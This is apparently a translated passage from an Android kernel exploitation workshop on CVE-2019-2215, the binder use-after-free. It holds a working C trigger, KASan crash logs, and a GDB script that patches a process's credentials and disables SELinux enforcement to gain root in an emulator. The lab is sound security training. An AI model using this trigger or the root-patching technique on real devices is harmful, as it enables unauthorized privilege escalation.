ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh
你可以在workshop/android-4.14-dev/out/kasan/dist中找到内置的内核和其他文件。
ashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux | grep kasan | head 000000004cfd027e A __crc_kasan_check_read 000000009da7c655 A __crc_kasan_check_write 0000000074961168 A __crc_kasan_kmalloc 0000000047f78877 A __crc_kasan_restore_multi_shot 0000000097645739 A __crc_kasan_save_enable_multi_shot ffffffff806d4d62 T kasan_add_zero_shadow ffffffff806d3a9c T kasan_alloc_pages ffffffff806d3b44 T kasan_cache_create ffffffff806d55b9 T kasan_cache_shrink ffffffff806d55c4 T kasan_cache_shutdown
引导内核启动
在模拟器中启动该自定义内核。
ashfaq@hacksys:~/workshop/android-4.14-dev$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage
注意: -show-kernelflag用于在终端窗口中显示内核调试消息。在此处阅读有关模拟器命令行flag的更多信息https://developer.android.com/studio/run/emulator-commandline
在运行上述命令后查看终端窗口中显示的内核日志,会发现如下回显:
[ 0.000000] kasan: KernelAddressSanitizer initialized
这表明我们能够成功引导使用KASan支持编译的自定义内核。
崩溃
从原始漏洞报告中获取PoC,看看我们是否能够触发该漏洞并产生KASan崩溃。
你可以在 workshop/exploit/trigger.cpp中找到触发的PoC。我提供了一个Makefile,你可以用来构建PoC并将其推送到虚拟设备。
#include #include #include #include #define BINDER_THREAD_EXIT 0x40046208ul int main() { int fd, epfd; struct epoll_event event = {.events = EPOLLIN}; fd = open("/dev/binder", O_RDONLY); epfd = epoll_create(1000); epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); ioctl(fd, BINDER_THREAD_EXIT, NULL); } ashfaq@hacksys:~/workshop$ cd exploit/ ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger Building: cve-2019-2215-trigger Pushing: cve-2019-2215-trigger to /data/local/tmp cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s) ashfaq@hacksys:~/workshop/exploit$ adb shell generic_x86_64:/ $ uname -a Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64 generic_x86_64:/ $ cd /data/local/tmp generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger generic_x86_64:/data/local/tmp $
在启动仿真器的终端窗口中查看KASan崩溃日志。
[ 382.398561] ================================================================== [ 382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d [ 382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682 [ 382.409386] [ 382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1 [ 382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014 [ 382.417931] Call Trace: [ 382.419106] dump_stack+0x78/0xbe [ 382.420596] print_address_description+0x81/0x25d [ 382.422146] ? _raw_spin_lock_irqsave+0x3a/0x5d [ 382.423691] __kasan_report+0x14f/0x180 [ 382.425082] ? _raw_spin_lock_irqsave+0x3a/0x5d [ 382.426437] kasan_report+0x26/0x49 [ 382.427468] check_memory_region+0x171/0x17e [ 382.428725] kasan_check_write+0x14/0x16 [ 382.429884] _raw_spin_lock_irqsave+0x3a/0x5d [ 382.431010] remove_wait_queue+0x27/0x122 [ 382.432003] ? fsnotify_unmount_inodes+0x1e8/0x1e8 [ 382.433156] ep_unregister_pollwait+0x160/0x1bd [ 382.434252] ep_free+0x8b/0x181 [ 382.435024] ? ep_eventpoll_poll+0x228/0x228 [ 382.435953] ep_eventpoll_release+0x48/0x54 [ 382.436825] __fput+0x1f2/0x51d [ 382.437483] ____fput+0x15/0x18 [ 382.438145] task_work_run+0x127/0x154 [ 382.438932] do_exit+0x818/0x2384 [ 382.439642] ? mm_update_next_owner+0x52f/0x52f [ 382.440555] do_group_exit+0x12c/0x24b [ 382.441247] ? do_group_exit+0x24b/0x24b [ 382.441964] SYSC_exit_group+0x17/0x17 [ 382.442652] SyS_exit_group+0x14/0x14 [ 382.443264] do_syscall_64+0x19e/0x225 [ 382.443920] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 [ 382.444784] RIP: 0033:0x4047d7 [ 382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 [ 382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7 [ 382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000 [ 382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000 [ 382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190 [ 382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0 [ 382.453146] [ 382.453427] Allocated by task 7682: [ 382.454054] save_stack_trace+0x16/0x18 [ 382.454738] __kasan_kmalloc+0x133/0x1cc [ 382.455445] kasan_kmalloc+0x9/0xb [ 382.456063] kmem_cache_alloc_trace+0x1bd/0x26f [ 382.456869] binder_get_thread+0x166/0x6db [ 382.457605] binder_poll+0x4c/0x1c2 [ 382.458235] SyS_epoll_ctl+0x1558/0x24f0 [ 382.458910] do_syscall_64+0x19e/0x225 [ 382.459598] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 [ 382.460525] 0xffffffffffffffff [ 382.461085] [ 382.461334] Freed by task 7682: [ 382.461762] save_stack_trace+0x16/0x18 [ 382.462222] __kasan_slab_free+0x18f/0x23f [ 382.462711] kasan_slab_free+0xe/0x10 [ 382.463149] kfree+0x193/0x5b3 [ 382.463538] binder_thread_dec_tmpref+0x192/0x1d9 [ 382.464095] binder_thread_release+0x464/0x4bd [ 382.464623] binder_ioctl+0x48a/0x101c [ 382.465071] do_vfs_ioctl+0x608/0x106a [ 382.465518] SyS_ioctl+0x75/0xa4 [ 382.465906] do_syscall_64+0x19e/0x225 [ 382.466358] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 [ 382.466953] 0xffffffffffffffff [ 382.467335] [ 382.467783] The buggy address belongs to the object at ffff88804e486528 [ 382.467783] which belongs to the cache kmalloc-512 of size 512 [ 382.469983] The buggy address is located 160 bytes inside of [ 382.469983] 512-byte region [ffff88804e486528, ffff88804e486728) [ 382.472065] The buggy address belongs to the page: [ 382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0 [ 382.474871] flags: 0x4000000000010200(slab|head) [ 382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e [ 382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000 [ 382.478072] page dumped because: kasan: bad access detected [ 382.478784] [ 382.478973] Memory state around the buggy address: [ 382.479571] ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 382.480479] ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb [ 382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 382.482155] ^ [ 382.482806] ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 382.483648] ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 382.484485] ==================================================================
崩溃日志中需要注意的几件事:
· 这是一个Use after Free漏洞
· 在悬空的块中写入4个字节时崩溃
· 悬空的块属于kmalloc-512缓存
KASan符号器
上面的崩溃日志不是很直观。我们可以使用kasan_symbolize.py来符号化堆栈跟踪。
ashfaq@hacksys:/tmp$ cat report.txt | python kasan_symbolize.py --linux=~/workshop/android-4.14-dev/out/kasan/ --strip=/home/ashfaq/workshop/android-4.14-dev/goldfish/ ================================================================== BUG: KASAN: use-after-free in[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 BUG: KASAN: use-after-free in[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 BUG: KASAN: use-after-free in[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 BUG: KASAN: use-after-free in[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 BUG: KASAN: use-after-free in[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682 CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:17 [< none >] dump_stack+0x78/0xbe lib/dump_stack.c:53 [< none >] print_address_description+0x81/0x25d mm/kasan/report.c:187 ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 [< none >] __kasan_report+0x14f/0x180 mm/kasan/report.c:316 ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 [< none >] kasan_report+0x26/0x49 mm/kasan/common.c:626 [< inline >] check_memory_region_inline mm/kasan/generic.c:182 [< none >] check_memory_region+0x171/0x17e mm/kasan/generic.c:191 [< none >] kasan_check_write+0x14/0x16 mm/kasan/common.c:106 [< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 [< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 [< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 [< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 [< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 [< none >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50 ?[< none >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99 [< inline >] ep_remove_wait_queue fs/eventpoll.c:612 [< none >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630 [< none >] ep_free+0x8b/0x181 fs/eventpoll.c:847 ?[< none >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942 [< none >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879 [< none >] __fput+0x1f2/0x51d fs/file_table.c:210 [< none >] ____fput+0x15/0x18 fs/file_table.c:244 [< none >] task_work_run+0x127/0x154 kernel/task_work.c:113 [< inline >] exit_task_work include/linux/task_work.h:22 [< none >] do_exit+0x818/0x2384 kernel/exit.c:875 ?[< none >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468 [< none >] do_group_exit+0x12c/0x24b kernel/exit.c:978 ?[< inline >] spin_unlock_irq include/linux/spinlock.h:367 ?[< none >] do_group_exit+0x24b/0x24b kernel/exit.c:975 [< none >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989 [< none >] SyS_exit_group+0x14/0x14 kernel/exit.c:987 [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 RIP: 0033:0x4047d7 RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7 RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000 RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000 R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190 R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0 Allocated by task 7682: [< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 [< inline >] save_stack mm/kasan/common.c:76 [< inline >] set_track mm/kasan/common.c:85 [< none >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501 [< none >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515 [< none >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819 [< inline >] kmalloc include/linux/slab.h:488 [< inline >] kzalloc include/linux/slab.h:661 [< none >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677 [< none >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805 [< inline >] ep_item_poll fs/eventpoll.c:888 [< inline >] ep_insert fs/eventpoll.c:1476 [< inline >] SYSC_epoll_ctl fs/eventpoll.c:2128 [< none >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014 [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 0xffffffffffffffff Freed by task 7682: [< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 [< inline >] save_stack mm/kasan/common.c:76 [< inline >] set_track mm/kasan/common.c:85 [< none >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463 [< none >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471 [< inline >] slab_free_hook mm/slub.c:1407 [< inline >] slab_free_freelist_hook mm/slub.c:1458 [< inline >] slab_free mm/slub.c:3039 [< none >] kfree+0x193/0x5b3 mm/slub.c:3976 [< inline >] binder_free_thread drivers/android/binder.c:4705 [< none >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053 [< none >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794 [< none >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062 [< none >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46 [< inline >] SYSC_ioctl fs/ioctl.c:701 [< none >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692 [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 0xffffffffffffffff The buggy address belongs to the object at ffff88804e486528 which belongs to the cache kmalloc-512 of size 512 The buggy address is located 160 bytes inside of 512-byte region [ffff88804e486528, ffff88804e486728) The buggy address belongs to the page: page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0 flags: 0x4000000000010200(slab|head) raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ==================================================================
这比以前的崩溃日志有用吗?
0x05 GDB脚本提权
在转到“ 根本原因分析”这一章之前,让我们首先了解如何使用自定义GDB脚本实现特权升级。
在Build Kernel和Boot Kernel中,你学习了如何在模拟器中构建和引导自定义内核。
GDB支持python脚本编写,让我们看看如何使用python进行自动化调试。
内核调试
仿真器qemu在后台使用,它支持gdbstub的gdbserver。如果我们有相应内核的文件,则可以使用vmlinux进行内核调试。
让我们启动我们编译的自定义内核,但是这次启用了gdbstub。为此,我们将需要两个终端窗口。
在第一个窗口,我们将运行模拟器与gdbstub启用。
ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -qemu -s -S
注意: -qemu arguments声明下一个参数将传递给qemu仿真器。-s参数是qemu的简写-gdb tcp::1234。-S参数使qemu等待调试器连接。
在第二个窗口中,我们将使用GDB附加到qemu实例。
ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/kasan/dist/vmlinux -ex 'target remote :1234' GEF for linux ready, type `gef' to start, `gef config' to configure 77 commands loaded for GDB 8.2 using Python engine 2.7 [*] 3 commands could not be loaded, run `gef missing` to know why. Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done. Remote debugging using :1234 warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml" warning: Could not load XML target description; ignoring 0x000000000000fff0 in exception_stacks () gef> c Continuing.
一旦Android完全启动,就可以打开第三个终端窗口并启动adbShell。
ashfaq@hacksys:~/workshop$ adb shell generic_x86_64:/ $ uname -a Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64 generic_x86_64:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 generic_x86_64:/ $ generic_x86_64:/ $ dmesg dmesg: klogctl: Permission denied 1|generic_x86_64:/ $ 1|generic_x86_64:/ $ pidof sh 7474 generic_x86_64:/ $
在adbshell窗口中,我们可以看到当前正在运行,uid=2000(shell) gid=2000(shell)并且没有查看权限dmesg。要阅读dmesg,我们将需要root特权。
pidof sh是7474,我们的目标是将内核调试与GDB自动化一起使用来进行特权升级,并为sh过程提供root特权。
现在,在GDB窗口中,按CTRL + C断开GDB,以便我们可以发出一些命令。
你可以在~/workshop/gdb中找到root-me.py基于GDBpython脚本构建的自动化工具。
# -*- coding: utf-8 -*- import gdb import struct [...] def write32(address, value): gdb.selected_inferior().write_memory(address, struct.pack("<i", value), 4) def write64(address, value): gdb.selected_inferior().write_memory(address, struct.pack("<Q", value), 8) def root_me(task): cred = task["cred"] uid = cred["uid"] gid = cred["gid"] suid = cred["suid"] sgid = cred["sgid"] euid = cred["euid"] egid = cred["egid"] fsuid = cred["fsuid"] fsgid = cred["fsgid"] securebits = cred["securebits"] cap_inheritable = cred["cap_inheritable"] cap_permitted = cred["cap_permitted"] cap_effective = cred["cap_effective"] cap_bset = cred["cap_bset"] cap_ambient = cred["cap_ambient"] write32(uid.address, 0) # GLOBAL_ROOT_UID = 0 write32(gid.address, 0) # GLOBAL_ROOT_GID = 0 write32(suid.address, 0) # GLOBAL_ROOT_UID = 0 write32(sgid.address, 0) # GLOBAL_ROOT_GID = 0 write32(euid.address, 0) # GLOBAL_ROOT_UID = 0 write32(egid.address, 0) # GLOBAL_ROOT_GID = 0 write32(fsuid.address, 0) # GLOBAL_ROOT_UID = 0 write32(fsgid.address, 0) # GLOBAL_ROOT_GID = 0 write32(securebits.address, 0) # SECUREBITS_DEFAULT = 0 write64(cap_inheritable.address, 0) # CAP_EMPTY_SET = 0x0000000000000000 write64(cap_permitted.address, 0x3FFFFFFFFF) # CAP_FULL_SET = 0x0000003FFFFFFFFF write64(cap_effective.address, 0x3FFFFFFFFF) # CAP_FULL_SET = 0x0000003FFFFFFFFF write64(cap_bset.address, 0x3FFFFFFFFF) # CAP_FULL_SET = 0x0000003FFFFFFFFF write64(cap_ambient.address, 0) # CAP_EMPTY_SET = 0x0000000000000000 [...] def disable_selinux_enforcing(): selinux_enforcing = gdb.parse_and_eval("selinux_enforcing") write32(selinux_enforcing.address, 0) [...] class RootByPidFunc(gdb.Command): def __init__(self): super(RootByPidFunc, self).__init__("root-by-pid", gdb.COMMAND_DATA) def invoke(self, arg, from_tty): argv = gdb.string_to_argv(arg) if not argv: raise gdb.GdbError("PID not provided") pid = int(argv[0]) task = get_task_by_pid(pid) if not task: raise gdb.GdbError("No task of PID: {0}".format(pid)) [...] root_me(task) [...] disable_selinux_enforcing() [...] # register the commands [...] RootByPidFunc()
让我们将此文件加载到GDB中,并赋予root特权以sh使用pid 7474进行处理。
gef> c Continuing. ^C Thread 1 received signal SIGINT, Interrupt. native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61 61 } gef> source ~/workshop/gdb/root-me.py gef> root-by-pid 7474 [+] Rooting [*] PID: 0x1d32 [*] Cmd: sh [*] Task: 0xffff888033521d40 [+] Patching cred [*] Cred: 0xffff8880580f1480 [+] Patching selinux_enforcing [*] selinux_enforcing: 0xffffffff82b34028 [*] Rooting complete gef> c Continuing.
让我们验证sh进程是否具有root特权。
generic_x86_64:/ $ dmesg dmesg: klogctl: Permission denied 1|generic_x86_64:/ $ 1|generic_x86_64:/ $ id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 generic_x86_64:/ $ generic_x86_64:/ $ dmesg | head [ 34.036876] apexd: Scanning /product/apex for embedded keys [ 34.037889] apexd: ... does not exist. Skipping [ 34.038743] apexd: Populating APEX database from mounts... [ 34.040108] apexd: Failed to walk /product/apex : Can't open /product/apex for reading : No such file or directory [ 34.042497] apexd: Found "/apex/com.android.tzdata@290000000" [ 34.043586] apexd: Found "/apex/com.android.runtime@1" [ 34.044542] apexd: 2 packages restored. [ 34.054885] type=1400 audit(1586624810.629:5): avc: denied { getattr } for comm="ls" path="/data/misc" dev="vdc" ino=13 scontext=u:r:toolbox:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 [ 34.057660] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 [ 34.073716] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
提权成功了,我们将使用内核漏洞实现相同的目标。
本文翻译自:https://cloudfuzz.github.io/android-kernel-exploitation/如若转载,请注明原文地址: